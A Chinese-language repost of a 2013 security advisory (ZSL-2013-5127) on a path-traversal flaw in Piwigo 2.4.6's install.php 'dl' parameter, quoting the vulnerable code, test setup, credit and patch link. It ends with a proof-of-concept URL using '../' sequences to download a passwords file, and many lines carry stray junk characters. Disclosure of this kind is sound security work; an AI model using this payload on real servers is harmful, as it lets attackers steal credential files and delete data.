Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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( u0 M9 F9 @* t4 u* c( R* kPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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& t% b5 B9 o# X- ^3 M/install.php:
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; W! a" ?0 D- k1 K( h9 d113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
" |# ]) o$ m7 j114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
' K' Z, P( S$ H+ f( W117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
  A+ m  N: G2 g+ P* X7 @9 n/ D120:   header('Content-Length: '.filesize($filename));
- f* }9 x, J, Q- I3 T( U121:   echo file_get_contents($filename);
4 \* f0 e; E6 `/ `* R1 W. J122:   unlink($filename);
123:   exit();
124: }
+ m6 n6 B9 w- r5 z/ Q) ~! E( e. b====================================================================

/ z" V) M! v% w) u! FTested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

1 K. G' q7 v% ZVulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
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8 G" a3 e' W  t5 M4 I% y8 TAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
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15.02.2013
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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt